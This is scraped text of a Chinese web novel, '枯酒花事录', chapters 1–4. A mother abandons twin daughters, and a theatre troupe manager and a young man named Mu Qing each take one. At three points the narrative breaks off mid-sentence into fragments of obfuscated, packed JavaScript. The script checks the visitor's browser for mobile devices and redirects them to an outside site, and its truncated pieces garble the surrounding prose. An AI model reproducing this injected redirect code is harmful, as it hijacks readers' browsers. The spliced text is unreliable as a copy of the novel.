《枯酒花事录》 1. 双生1 夜凉如水,天边眨巴着零碎的星子,像无数双窥探天机的眼,瘆人得要紧。 阳气渐生,万物开始慢慢苏醒,四周村庄里传来此起彼伏的鸡鸣声,偶尔嘹起几声狗吠。 一名妇人拉着辆发出“吱吱呀呀”声响的小板车,走过乡间碎石斑驳的泥泞小路。 正是乍暖还寒的季节,枯草上还席卷着寒霜,人走在天地间久了,连眉毛上都结了一层薄霜。 暗夜里看不清她憔悴暗黄的面容,只听见她踉跄的脚步深一脚浅一脚地印在黄土里发出的声响,那声音像是生了锈的铁锁,沉闷且腐朽,伴随着她仓促的呼吸声,叩开了四合的雾气。 妇人心中焦灼不堪,村子离集市远,照这么老牛拉破车般走下去,怕是要花上两个多时辰。 板车上的两个小女孩挤着半张满是补丁的破棉被睡得正香,对正在发生的一切没有丝毫知觉。 开始有稀疏的灯火点缀在夜里,和天边的星子一同融进变浅的雾气中。远处的山中传来几声此起彼伏的野兽嚎叫,那声音透过空气传入耳际,愈显得夜色凄凉。 蓦地,车轮撞到了一块大石,咯噔了一下,那个妇人也不应景地咳嗽起来。随即,妇人单手握拳,顿了顿气息,却发现有温热的液体自手掌铺开来,她毫不在意地在衣裳上蹭了蹭,又将手扶上板车把手,继续行进着,如漆般的黑夜掩盖住了她嘴角渗出的血红色。 大概是因为感受到身下有动静,车上的一个小女孩突然爬起来,揉着惺忪的睡眼,奶声奶气地问了句:“娘,我们要去哪里呀?” “乖,娘今天带你们去集市上买东西,你们再睡会儿啊,一会就到了。”那妇人语气中透着虚弱,只顾着往前赶路,并未回头看她,也没有像过去般伸出手来抚摸着她哄她入睡,眼角却泛出莹莹的泪光。 心尖尖上的肉啊,再怎么舍不得,也是没有办法的事啊。 几个月前,大夫就告诉她,她得了重病,要尽快医治,而彼时身上的银两已经所剩无几,一双女儿也还小,没什么自理能力。而现在,久病成痼疾,黄土已经埋到了脖子,家里根本揭不开锅,这村庄又贫瘠,邻里乡亲都吃不上一个饱饭,哪里又会有人收养她们。与其等着她们被活活饿死,不如赌上运气为她们寻得个好归宿。 那个小女孩也未多想,以为又是像往常一样跟着母亲赶集,便沉沉地睡了过去。车上还有另一个小女孩,睡得很沉,对身边发生的一切都毫无知觉。 …… 也不知道过了多久,东方露出浅浅的鱼肚白,集市上的店铺陆陆续续地开了门,寂静的长街逐渐有人声沸起。 “姐姐,娘亲什么时候才会回来呀?”集市的一角,站了两个四五岁的小女孩,其中一个揪着小辫,歪着小脑袋,问另一个。 “可能要一会儿的吧,娘亲说她去买东西了,要我们乖乖地待在原地不要动,只要我们一直在这里,娘亲买完东西回来就能找到我们啦。”另一个小孩子和身旁小女孩的呆萌不同,眉宇中多了几分伶俐,颇有当姐姐的风范。 闻言,先开口的那个小姑娘不吵也不闹,只是双手环抱着腿,把脑袋搁在膝盖上,一双水灵的眸子呆滞着,数着面前来来去去的人脚。 “卖烧饼咧,新鲜出炉的热乎烧饼,不好吃不要钱……” “包子包子,热腾腾的包子......” “喷香的小米粥,一文钱一碗咧……” 叫卖声此起彼伏,一阵“咕噜”声从其中一个小女孩肚子上传来。 “姐姐,我饿了。”没过一会儿,那个小女孩又委屈巴巴地望着旁边的姐姐,揪了揪她的衣角。 那个被唤作姐姐的小女孩咬了咬嘴唇,舔了舔上面的死皮,有些无可奈何地望向她:“我也饿了。” 又一分钟、两分钟过去了…… 一个时辰、两个时辰过去了…… 太阳上像是笼着一层薄雾,虽然已经垂到头顶,却感受不到半丝热气。两个娃娃口中的娘亲依旧没有回来,倒是她们的停留引起了不少路人的注意,来往的人群对她们指指点点。 “怕又是哪家丢的娃娃吧,唉,年纪这么小,真是可怜。” “可别碰上了人贩子,好好的小丫头,平白无故让人给糟蹋了。” …… 这年岁并不太平,时常有穷人养不起孩子,便把他们丢在了大街上。 有些大户人家心善,见着了这些孩子,便捡回去当了小厮丫鬟;也有人贩子瞅见一些水灵俊俏的小女娃子,将她们卖去了烟花之地;有些孩子年纪稍微大点,就自力更生,成了街上的叫花子;更有些孩子运气不佳,生生被饿死街头…… 一番议论后,有好心人前去搭讪,打算将这两个娃娃送回去,以此劝返她们迷途的爹娘:“你们家住哪里啊?我送你们回去。” 那个姐姐见状,摇了摇头,满脸的委屈,眼含泪花,看着面前的人。而妹妹只是呆呆地问了一句:“你见过我们的娘亲吗?她在哪里?” 看来她们也不知道自己的归处,爱莫能助,那个路人摇摇头,走了。 沈佳期本来只是出来采购的,看到路上有人围成了一圈,像是在议论着什么,便朝人缝里瞥了一眼。 闲来无事凑个热闹,大抵都是人之常情。 只一眼,沈佳期看到了有一个小女孩咬着嘴唇,眸子里尽是委屈不甘。而那双眼,灵动温婉,却也暗含风情。 沈佳期顿时觉得眼前一亮,就是她了,错不了。 而相比之下,旁边的那个小女孩耷拉着脑袋,毫无精神,只是用一根小树枝在地上写写画画,木讷至极。沈佳期看了,不禁摇了摇头,心里叹了句,这娃娃不是个好苗子。 沈佳期是京都临初柳源戏班的管事,手下二三十号人浩浩荡荡,走南闯北,到遇见这一双姐妹的时候,已经名躁耿安国了。 立马有人认出了沈佳期:“哇,那不是柳源戏班的沈管事嘛,这两姐妹要是跟了他,怕是从今往后吃香的喝辣的,衣食无忧啊。” “不过是一个唱戏的,能有多受待见,更何况还是两个女娃娃……” 这话说得虽然刻薄,却也不假,戏子在当下都是一个嘲讽的词。再者,在耿安国里,女子身份低微,是断然不能抛头露面,登上戏台的。 从路人的闲言碎语中,沈佳期也得知了一二,大概意思是,面前的这两个女孩被家人抛弃了,沦落街头,现在她们俩只得听天由命。 沈佳期也不是个爱管闲事的人儿,打算一走了之,可脑海中回想起那双眸子,不由得又有一点遗憾,这么好的苗子,怎么能浪费了? 思绪良久,顿足,转身。 “你要不要跟我走?”沈佳期蹲在地上,问大花。 “你是谁?娘亲说了,就让我们呆在这里,她会来接我们回家的。”大花的眸子里闪着光亮,满脸好奇地问沈佳期。 那光亮,是一种期待,是在半晌等待后有人能来带她回家的开心。 “我是你娘亲的朋友,她去了这么久都不回来,就是让我来接你。” 是“你”,不是“你们”。 大花似懂非懂地“哦”了一声,随即又狐疑地问道:“那小花妹妹呢?” 沈佳期含笑道:“一样的,待会会有人来接小花走的,只不过那个人不是我,也不是娘亲。” “那娘亲哪里去了呢?”一旁沉默不语的小花,突然开了口。 “娘亲她出远门了,这段时间让我们来照顾你们。我先带走姐姐,待会有个人也会来带走你的。”沈佳期面不改色,从容答道。 啧啧啧,果然戏折里多的是虚情假意的桥段,吃瓜群众们纷纷一副看破不说破的样子,静静地看着他们三人。 “小花乖,你在这里等着,一会儿会有人来接你的。”大花摸了摸小花的头, “嗯嗯嗯!”小花乖巧地点了点头。 许是有些不放心,沈佳期又摸了摸一旁小花的头,将手中的两个肉包子递给她:“待会如果有个长得坏坏的人来带你走,千万不要答应他,带你走的人,一定是面目和善、眉清目秀的。” “嗯嗯嗯嗯嗯!”小花重重地点了点头,道了谢,又接过肉包子,递给了大花一个,满心欢喜地啃起来,末了,抬起满嘴油污的小脸蛋,问了一句:“那是谁?” “你们娘亲没有告诉我呢。”沈佳期不忍打破她的美好幻想,继而补充道。 罢了,沈佳期牵着大花的手,长叹了句:“若是有缘,你们两个娃娃会再相见的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598143|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大概是还小,两个孩子还没有体会过生离死别,同时一脸懵逼地望向他。 却不知,这两姐妹自从别后,就天涯两地,各处一方。所谓的有缘,所谓的再见,到最后都成了薄凉的空欢喜的一场梦。 慕卿在不远处的馆子里点了一碗葱油面,小二立马麻利地端了上来。 只见缺了个边角的茶色瓷碗里,粗细均匀的面条配上了浓郁的浅黄色汤底,上面漂浮着一层雪白的肉丝,还撒了些许翠绿的葱花。 香气迎面扑来,慕卿吸了吸鼻子,心里默念了句:食已饱腹,夫复何求? 其实他老早就出现在了这片集市,也看到了那一双姐妹,只是觉得事不关己,高高挂起,并没有太在意。 他本就不是什么善人,更何况自己都是泥菩萨过江自身难保,怎么会去收养两个素昧平生的女孩子呢,更何况天下穷苦的孩子多了去了,他又不能见一个就收养一个。 也许是好奇在作怪,慕卿看着那个男人带走了其中一个孩子,也想知道另外一个孩子会被谁收养。就坐在面馆的那方长凳上,点了瓜子花生和茶水,摊开书页,悠哉地看起来,时不时还往街角的那个小姑娘那里瞟两眼。 一个素昧平生姿色平平的女子,馆子里人来人往,食客络绎不绝,鲜有人注意到慕卿。倒是小二,多少有些嫌弃慕卿占着茅坑不拉屎的举动,又不好直言相对,屡次投来不悦的目光。 这目光若是利箭,都能把他射成筛子,慕卿跟小二对视过几次,眼神一次次躲闪后,终于下定决心,唤道:“小二!结账!” “好嘞,客官!”看着她面前堆积成山的瓜子花生壳,小二拿了抹布和撮箕,满心欢喜地跑过来报账。 “姑娘,一碗面,五碟瓜子,两碟花生,一壶上白雪茶,一共九十文钱。” 慕卿递给小二一袋子叮当作响的钱币,里面都是一文一文的,慕卿也不知道有多少钱,但九十文钱,肯定是有的。 “不用找了。” “谢谢姑娘。”小二谄媚地接过钱袋子,不用说,这圆鼓鼓的一袋钱付账肯定绰绰有余。 慕卿没有再理他,将面前的书卷揣进怀里,伸了个懒腰,径直出了店门。 店小二眉开眼笑地搬了板凳,坐在桌旁点着袋子里的钱币数目,只觉得刚才那姑娘虽然样貌平平,身上却有些不一样的东西,比如说那异常好闻的胭脂香味,再比如说人傻多金。 嘿,好家伙,总共一百三十二文钱呢。 没走两步,慕卿就看到那个被留下来却一直没有人带走的孩子。此时天已经完全黑了,她却还在那里,整个人在灯影里蜷缩成了小小的一团,眼神怯怯地不敢四处张望。 大概是听见了他逐渐靠近的脚步声,那个小团子开始不住地战栗,犹如惊弓之鸟。 心中的某根弦在那一刹那被触动,曾经他也是一个人,走南闯北,无人可依,比这不知道要狼狈多少倍,只是那时的他已年少可自食其力,不像面前的女孩子,还这么小。 一整天,她只吃了沈佳期给的那个包子,滴水未进,说不定还很冷、很困,一定很无助。 几乎是不加思索的,慕卿朝她走过去。 “别怕,我不是坏人。” 小小的女孩子抬起头来望向他,脸上泪痕斑驳,问道:“你是来带我走的吗?” 慕卿不知道白天的大家跟她说了什么,只是现在他突然想给她买点吃食,毕竟这个可怜的孩子,已经大半天米水未进了。 慕卿没有回答,只是拉过她冰凉的小手手,握在了自己的大掌间。 那双小手的触感很柔,很软,像刚出锅的馒头。 “饿吗?” 小花重重地点点头。 一定是饿坏了吧。 殊不知,在不远处的拐角,一名妇人,眼神痴痴地窥探着不远处的这两人,看着慕卿拉着小花走进了旁边的店铺,眼角闪过些许晶莹的泪光,心想着:真好,孩子们都有了去处,我这样离开,也没有什么牵挂了吧。 对,她就是舍不得两个孩子,可她能怎么办?丈夫早亡,虐疾缠身,两个孩子还小,都没有谋生的手段,若是不托付给别人,自己死了以后她们要怎么办,想到这里,妇人又抹了一把眼泪。 2. 戏子入画满临初1 沈佳期穿了件深灰色的褂袍,戴着一顶黑色的圆帽,背着手,高大魁梧的背影映在大花的眼眸中像是座小山丘。 小小的她心思细腻,早就从众人的只言片语中得知,她的娘亲抛弃了她,而现在,眼前的这个男人要把她带回去。 娘亲为什么要把她和妹妹丢掉?大花不得而知,也不敢问,只是跟在沈佳期身后的一段距离内,紧咬着嘴唇,保持着和他一样的速度,踩着他的影子步步前行,乖巧且沉默。 沈佳期走得快,她就迈开小小的步子,加快速度,两步当一步走;沈佳期放慢脚步,她就紧跟着,大跨出一步。 殊不知,她这一举动完全被沈佳期看在眼里,沈佳期心里乐道:年纪虽小,却是个识时务的孩子,真乃可教之才。 两人就这么一快一慢的,也不知走了多久,终于来到了柳源戏班。 柳源戏班行走于耿安各地,居无定所,每每是接下一场戏的委托,就辗转去哪里,租个宅子,演完这一场戏,然后在附近茶馆戏楼开展些营生活计,直到接到下一场。 在耿安,柳源戏班名声响,想请的人不计其数,请得起的人却少之又少,不少人甚至以能请得起柳源戏班为自己单独登台唱戏表演为荣。 前不久,柳源戏班接到了一个员外五十大寿的邀请,出价甚高。他们从来不会拒绝高价,便收拾了整个戏班,马不停蹄地赶来了附近。 他们这次的落脚点,是个四合院,二十多口人住在一起刚刚好,还能彼此有个照应。 整个宅子有些凋敝了,白色的墙面上爬了些许斑驳的青苔,朱门上的红漆有些剥落了。 门敞着,门槛不高,沈佳期轻而易举地跨了过去,大花学着他的样子,很努力地大步迈过门槛。 进门右手边是一口水井,何婶正在井边洗衣服。整个柳源戏班,都是登台唱戏的男人,只有何婶除外。 这二十多个人大多数都是无家无口,四处奔走也无牵挂,只是靠唱戏混口饭吃,何婶则负责照顾他们在外的生活起居。 “哟,沈管事回来了呀。” 见到沈佳期,何婶打了个招呼,丝毫没注意到身形全被遮挡在他身后的大花。 大花见了何婶,也不怯懦,主动向她打了个招呼:“婶婶好。” 何婶这才注意到沈佳期的身后有个小娃娃,打趣道:“哟,这是沈管事家里哪个亲戚的娃娃呀,长得可真是水灵,这小嘴也甜的哟。” 大花模样讨喜,何婶见了她,很是开心,脸上的皱纹深深地纠结在一起。大花只是仰着头静静端详着面前亲切的妇人,不知怎的,她觉得这个人模样有点像娘亲,内心不免一阵感伤。 沈佳期并不再应何婶,只是背着手,踱着步子,接着往里走,大花也不再接话,安静地跟在他身后。 往里看去,十几间房屋错落有致地排列着,门前空地上的人各忙各的:有的手执朱笔在画脸谱,有的拿着行当在扎马步,还有人咿咿呀呀吊着嗓子。 眼前的一切都让大花觉得很新奇。 沈佳期领着她穿过垂花门,就抓住门旁边一个面相和善的男人吩咐道:“般若,你召集所有的人,我有事要说。” 那个叫般若的男人,三十出头,面上的妆容还未卸掉,脸色被涂得煞白,还敷了层厚厚的彩粉。他看见了大花,眼神顿了顿,一副有话要说的模样,最后还是按耐住了,按照沈佳期的吩咐下去了。 不一会儿,院子的空地上,聚集了二十多个老老少少,他们都带着好奇的眼神,不明所以地打量着沈佳期身旁的小姑娘——柳源戏班除了何婶以外都是男人,沈管事领着这个小丫头是什么意思? “后天就是周员外的五十大寿,咱们戏班很荣幸地被邀请去做登台演出。周员外平时很喜欢听戏,你们可要好好表现,不要扫了他的兴,事成之后,员外他自有重金打赏。” 沈佳期一番话说得振奋人心,柳源戏班的众人一时间脸上皆挂上了喜悦的笑容,四周响起了响亮的掌声。 沈佳期伸出了右手,示意众人停下来,周围瞬间鸦雀无声。 “你们几个当天出演的人商量看看,安排哪几个曲目比较好。” 人群中有几个男人听闻此言,你望向我,我望向你,坚毅的眼神中暗含默契。 “同时,咱们柳源戏班即将迎来一位新成员,大家欢迎!”沈佳期把大花往前推了推,介绍给众人。 周围又响起此起彼伏的掌声。 “大家好,我叫大花。”大花声音软软糯糯的,尽管年纪小,人却不卑不亢,笔直地站在人群中,落落大方介绍道。 私下里有人悄悄议论着:“哟,这么小,还是个女娃娃,能干嘛?” 大花悄悄地看了看人群,除了刚进门时看见的那个年纪稍微有点大的婶婶,这个叫柳源的戏班里,其他人全是哥哥和叔叔,甚至还有爷爷。 沈佳期扫了说话那人一眼,不怒已自带威严:“关于怎么处置她的问题,我会和班主商量,你们不用插手,干好自己分内的事情就好。” 眼看周员外生辰将近,班主出去和周员外提前布置会场了,一时还未归来,这事也暂时没有商量的人,沈佳期索性丢了大花在院子里,打算先忙着自己手头上的事。 大家伙儿纷纷凑了上来,你呀我呀好奇地都问两句。 “长得好标致的娃娃呀,你是哪里人呀?” “我不知道,我们村子没有名字。我只知道,隔壁有婶婶,有叔叔,还有二牛大牛……”大花掰着手指,将身边的邻居们一一列举出来。 看来还是个小孩子,不懂太多问题,闻言,一些人干脆没了好奇的兴致,从大花面前的人堆里散了出去。 何婶抓了一把零嘴,塞到她手里,大花就坐身旁的石凳上,百无聊赖地吃起来。 人群中有个淘气的小男孩,跑过来一把揪住大花的辫子,扯得她的头皮生疼。大花发现了他,立马丢掉手中的零嘴,一把揪住他的衣领,两个人扭打在一起,周围人发现了事态已经超出了玩闹的性质,立马上前将两人分开。 沈佳期没走远两步,却听到人群中有异样的声音传来,意识到大花可能出了问题,怕不是受了欺负,立马折了回去。 好巧不巧,班主劳章驰就是这个时候回来的,一推门便看见因为厮打在一起而被强行分开的两个孩子。 那个男孩叫叶童舟,他本来想着大花人小好欺负,顺手逗逗她的,却不曾想大花当了真。 只见叶童舟脸上被抓了好几道印子,旁边的大花正用一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈佳期揽过大花,语重心长地拍了拍她的肩:“以后再有人欺负你,你就告诉我,我替你收拾他们,你知道了吗?” 这温柔宠溺的语气,跟刚才打小哥哥的狠厉完全不同,大花觉得现在的沈管事跟刚才的他判若两人。 班主看了看大花,眼睛里闪过一道质疑的光芒,好奇地问沈佳期:“哪来的孩子?” “路上捡的,是个无家可归的孩子。” “还没有名字吧,叫花伶怎么样?聪明伶俐的伶。” 花伶,一生聪明伶俐,一世为伶人。花伶万万不会想到,这个看似简单的名字,就这么羁绊了她的一生。 “那要拿她怎么办?”沈佳期为什么带她回来,劳章驰其实心知肚明,因为他和沈佳期一样,在花伶身上看到了同一种东西。 那是一个坚定的目光,带着三分倔强,三分妩媚。 “上台?” “其实你心中已经有了答案,何必问我呢?” 第二天,沈佳期领着花伶,当着全戏班人的面宣布,她,花伶,从今天起,也是柳源戏班的一名戏子。 女孩子是上不了台面的,花伶必须要以一个男儿的装扮登台。 这是柳源戏班所有人的秘密。 3. 酒尽桃花凉1 “来嘞,您的一碗面。” 小二麻溜地端上来一个木制托盘,将盘里的碗筷迅速摆在小花面前,转身顺手将隔壁桌子上的空碗筷一一收拾进托盘里,撂下肩上的抹布迅速将桌面擦干净,方便下一位客人快速就坐。 小花不安分地在桌下搅动着小脚脚,望着冒热气的汤面,咽了咽口水,抬头问:“为什么只有一碗,姐姐你不吃吗?” 慕卿正忙着摆弄额前垂下来的一缕青丝,漫不经心应道:“吃过了,你吃吧。” 修长的指节绾着如瀑长发,慕卿心里有些郁闷,这个发型模子并不好,起风的时候会有头发垂下来,容易遮住眼睛,下次换个别的。 得到了慕卿的允许,小花开始狼吞虎咽起来。 要不是多看了这个丫头几眼,慕卿也不至于在这个小破馆子里呆上整天,全天瓜子花生和茶水就没断过。说到吃,慕卿只觉得现在的自己,撑到多一粒米都塞不下。 看着她吃得津津有味的模样,慕卿打量着问了句:“你叫什么?” 留个名字,好歹是相逢一场的凭证,这丫头以后会感谢我的,慕卿心想。 小花“嗞溜嗞溜”把一筷子面条吞下肚,仰着沾满油光的小嘴巴,告诉他:“我叫小花,我姐姐叫大花。” “唔,姓花吗?” 慕卿心里想着,这名字也太草率了吧,真不知道小娃娃家爹娘怎么想的。 小花不再应他,只是全身心专注在面前的碗里,仿佛身旁的人儿不存在般。 摆弄完头发,慕卿用胳膊支着脑袋,打量地望向她,目光如水,心里默念道:真是个没良心的小丫头,有吃的就忘了救命恩人。 看着小花把一碗汤底喝得精光,慕卿支在桌子上,神秘兮兮地探过头,凑到她面前:“小丫头,跟你说个事。” 小花眨眨眼睛,好奇地问道:“什么事呀?” “我没银子付钱,我打算把你抵在这里。”慕卿望向小花,目光狡黠。 慕卿这次出门,只带了一袋子铜钱,恰好遇到小花,在这家面馆里坐了一天,觉得有些怪不好意思的,就把所有的银子都给了小二,如今他身上,已无分文。 可最后,他看到小花依旧安静乖巧地站在那里等着,并没有人带她走,便想出一个法子:借着让小花在店里吃东西的噱头,让小花欠下掌柜的银两,就为了让掌柜留下她。 虽然年纪是小了点,但这里不愁吃,随随便便打点杂,小花混口饭吃还是没有问题的,这是慕卿的如意算盘。 哪知小花听完他的话,呆呆地看着他,想了半天,随即“哇”地一声哭出声来。 闻声,四周食客的目光都聚集在了慕卿二人身上。 小花带着哭腔,谈吐不清地说了一长串话:“之前……有个人跟我说……说,娘让……一个……面目和善、眉清目秀的人……带小花走的,说好的……带走小花,为什么……现在要把小花丢在……这里?小花不要……在这里,小花要回家……去见娘亲,哇啊啊啊……” 傻丫头啊,之前带走大花的那个人是骗你的,你居然还当真。 “哇啊啊啊啊……你为什么不要小花?” 小花一声声哭得撕心裂肺,周围人对她和慕卿指指点点,只当是哪家娘亲又哄着不听话的娃儿。慕卿只觉得像有根刺扎在心上,浑身都觉得不自在,一把捂住小花的嘴巴,吼了她一句:“住嘴!” “哇啊啊啊啊……”哪知小花一把推开他的手掌,哭得更厉害了。 慕卿望着她烟雨迷蒙的双眼,心里念着,我的小姑奶奶,别哭了,再哭整个店子都知道咱们没有银子,到时候想走都走不了啦。 慕卿没有办法,开始一点点地妥协:“你别哭,我刚开玩笑的。” “真的吗?”哭声戛然而止,小花眨了眨挂着泪珠的长睫毛。 “嗯,不过现在我有个小麻烦需要处理,我数一二三,然后你顺着出门的这条路一直往前跑,跑到铁匠铺前面的那个路口,你就在那里等我好吗?” 小花似懂非懂地点点头。 “一、二、三。” 话音刚落,小花已经屁颠屁颠地跑了出去,小小的身影消失在了夜幕中。 真是个傻子,慕卿心里念道,这小丫头,还真不怕自己再把她丢下。 慕卿叫来小二,装模作样又点了盘菜,小二转身去跟厨房打招呼去了。 柜台前,八撇胡子的掌柜正低头拨弄着算盘,慕卿找准时机,正大光明地从他面前走过。 店小二回过头来,只见先前那桌子的客人已没了影,明明刚才还有一个姑娘和一个小丫头片子的。 “人呢?” 小二在店内环顾一圈,并未见到她们二人的身影。 “小兔崽子,敢在爷爷店里吃白食,看爷爷不打得你满地找牙!” 店小二抄了根棍子,追了出去,暮色四合,小巷弯弯绕绕,哪里还有慕卿的踪影。 这边,头一次吃霸王餐的慕卿气定神闲地施展着轻功,好长一段路后才停下,确认没人会追上来,打算回家。 走在路上,慕卿心里始终都不安宁,满脑子都是小花嚎啕大哭的模样,还有她一声声喊着的那句“你为什么不要小花,哇啊啊啊啊……” 哭声久久地回荡在脑海里,小花挂着泪珠的长睫毛在慕卿脑海里挥之不去。 慕卿最后还是折了回去,到了他们约定的路口。 一轮新月高悬天边,月光清清冷冷地洒下来,这是初春的天气,风里尚且带着几丝冬的薄凉。 小花正坐在路口的一方矮墙下,双手环抱着脚,把下半张脸埋进臂弯,只漏出一双水灵的眸子,警惕地观察着眼前陌生的一切。 不知怎的,看到小花还在,慕卿有些庆幸。 “丫头。”慕卿在她身后轻轻地唤了她一声。 是她,那个说好要带她回家的大姐姐来了!小花闻言,扭过小脑袋,先前苦闷害怕的样子陡然消失,笑靥如花看向来人。 那笑,看得慕卿心里有些罪孽,他有些心虚地别过小丫头欣喜的目光,道:“跟我回家吧。” 慕卿扯过她的小爪子,拍拍她身上的灰,又看到她脸上灰一块白一块的,像个外出疯玩了一天的小花猫。 他牵着她的手,放慢步子。两个人,一前一后,弯弯绕绕走了十多分钟。 “到了,这里是我暂住的地方。”慕卿从院子里一方嶙峋的怪石下摸出钥匙,熟练地打开铜锁。 屋子里黑漆漆的,看来是没有别人。 小花并未言语,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个屋子其实不大,只有一张床,慕卿在自己的床旁边铺了个简陋的小地铺,拿出自己的衣服叠成了方块状,当做枕头,又给小花拿出一床破旧的棉絮。 就一个刚刚才碰面的小丫头片子而已,过两天慕卿就给她找好归处,他才不要把他的床铺让给这个小孩。 或者说,慕卿不能对她太好,怕她有了依恋,以后再想甩开她就难了…… 只是出于善心,又没有多少真实感情。 似是又想到什么,慕卿拿出一套自己换洗的女装,走到门口。想着里面小花正在沐浴,他推开一条缝,把衣服放在地上:“洗好了记得换上干净的衣服,我给你放门口啦。” 慕卿又仔细听了听,屋子里没有水声,小丫头也不知道在里面干嘛。 “姐姐,快来救我,我……我出不去了。”里面传来了小花急切的声音,慕卿以为出了什么事,赶紧冲了进去。 一见面前的景象,慕卿傻了。木桶前端端正正地摆着一个木凳,木桶边缘看不见里面的人,待走近才看见小花站在水里,洗澡水漫过了她的脖子。 糟糕,他忘了小花还是个孩子,洗澡水是按照自己平常的份量放的。 她那么矮,他刚撂下话让她自己洗,寻求不到帮助,小丫头肯定是踩着板凳爬进去澡盆的,而木桶又这么高,她自己肯定是爬不出来的。 慕卿捞了条大方巾,别过头去,单臂架着她的两条胳膊把她从水里捞出来,迅速给她罩上方巾,嘱咐她:“先自己擦干,再穿好衣服。” 4. 酒尽桃花凉2 慕卿说什么,小花就照做,毫不质疑。 小花一只手扯着方巾把自己包裹起来,摁住,又踮起脚,伸出另一只手,想要够到搭在木桶边缘的毛巾,尝试了好几遍,均以失败告终。 慕卿见状,伸手替她拿下来。 “谢谢。”小花软糯的声音中带着几分空灵,像是深山碧谷里的潺潺小溪那般。 “谢什么?”慕卿无语,洗澡水还是他放的,让她自己洗的也是他,这件事是他没考虑周全,应该怪他才是。 “娘亲说过,受到别人的帮助就要说谢谢。”小花停下手中擦头发的动作,满脸真诚望向他。 “哦?”慕卿有些惊讶,暗叹虽然小花的家庭处境不好,家教却是真不错。 那娘亲有没有跟你讲,被人欺负了要怎么办?慕卿心里想着,嘴上却不说,只是转过身,掩好门去了隔壁。 衣物很繁琐,小花也不知道怎么穿,看不见慕卿,只好胡乱地把它们套在自己身上。 衣裳很宽松,在地上逶迤出一大截,小花拎着衣摆,小心翼翼地走着,生怕不小心踩到。可偏偏事与愿违,还没走出两步,整个人“咚”地一下被绊住,四仰八叉扑倒在衣服上面。 慕卿闻声赶来,皱了皱眉头,把她扶起来,抬手摸摸她磕得红肿的额头,又拍拍她衣服上的尘土,眉间凝结成大写的“川”字。看来,明天是该陪这个小丫头去集市买几件衣服啦。 看着被她这样小只穿得空荡荡好像到处在漏风的衣服,慕卿索性找来些碎布条,尝试着把衣摆袖子等过分不合身的地方都扎起来,把小家伙裹成个动弹不得的粽子。 慕卿心想,这下应该会暖和吧。 然后,像拎着只小鸡仔一般,揪起小花后背的布料,直接给人拎进卧室。 “今天你睡这里。”慕卿指着自己刚刚铺好的小窝,向小花示意道。 “嗯嗯嗯。”小花应着,手脚并用地爬上去。 真乖,慕卿心里默念道,又替她盖好被子,掖了掖,蹲在她旁边,看着被裹成蚕宝宝的小花,问她:“我给你起个名字,叫你‘花雕’可好?” 花雕为酒,亦为汝名。 慕卿觉得,再怎么不济,生而为人,都该有属于自己的姓名,毕竟,名字是作为人活着的一种象征。 花雕把慕卿替她盖进被子里的双手拿了出来,环在胸前反问他:“那你呢?” 很好,没有拒绝,看来就是不否认他取的名字,慕卿暗自庆幸。 “我叫‘慕卿’。”羡慕的慕,卿本佳人的卿。 一个小女孩而已,都不识几个字,慕卿想了会儿,硬生生把后半句话咽了回去。 花雕觉得自己听明白了,跟着他后面,有模有样学道:“磨精。” 慕卿立马纠正她:“慕卿!” 花雕并没有觉得自己哪里不对,一双乌黑漆亮的眸子仰望着他,又念道:“磨精。” 慕卿白了她一眼,懒得再跟这个谈吐不清的小丫头计较,晃荡了一整天,他也累了,未想太多,匆忙卸妆洗漱,吹灭烛光倒头便睡去。 大半夜里,木凳突然“嘭”的一声被碰倒在地,慕卿蓦地被惊醒,差点以为家里遭了贼。 慕卿屏住呼吸,静静地听着,可那之后又半天没了动静,他这才意识到身边还有个小鬼,那动静是她弄出来的,只是望着黑压压的天顶,并未言语。 过了半晌,下铺传来花雕稚嫩的声音:“磨精你睡了吗?” “……” 这都多晚了,这个小鬼是一直没睡,还是做噩梦被吓醒了? “我……我害怕……外面有好多虫虫在叫。以前都是娘亲陪着小花睡的,看不见娘亲的第一天,想她……” 几乎是带着哭腔的,让慕卿有一阵阵的心软。 见没人应她,花雕以为他睡着了,于是抱着自己的小枕头,蹑手蹑脚地爬进了他的被窝。 慕卿并不做声,只是往旁边挪了挪,又一把揽过手脚冰凉的小花雕,往自己睡热的这边拢了拢。 花雕窝在慕卿怀里,嗅着他身上好闻的疏疏暗香,慢慢地进入梦乡。 慕卿向来浅眠,早醒的他本来想去替小花雕打点些日常物品,好让她顺利地收拾铺盖走人,左手胳膊却被她死死地抱住。 那模样,像极了一只将要溺死的小兽,拼尽仅存的气力,牢牢地抓住河水中的浮木,生怕一不留意,就会被深不见底的河流吞噬。 慕卿怕吵醒她,不得已,只能轻轻翻了个身,尔后百无聊赖地打量着身旁的小花雕。 相对于昨天晚上再见她时脏兮兮的模样,今天的她是白净无瑕的。 阳光透过窗子,洒在她粉嫩的小脸庞上,镀上了一层金色的光辉,像是误落凡间的仙子;小小的粉粉的鼻嘴,有种难以言状的俏皮可爱;伴随着轻浅的呼吸,扇形的睫毛微微翕动,像是停落枝头小憩的蝴蝶。 很乖巧温顺的模样,总而言之,就是有种说不上来的看得顺眼。 慕卿想着,伸出另一只手来拨了拨她额前的碎发,却不经意触到了她的脸,心念道,这吹弹可破的皮肤,真好。 慕卿忍不住又掐了一把。 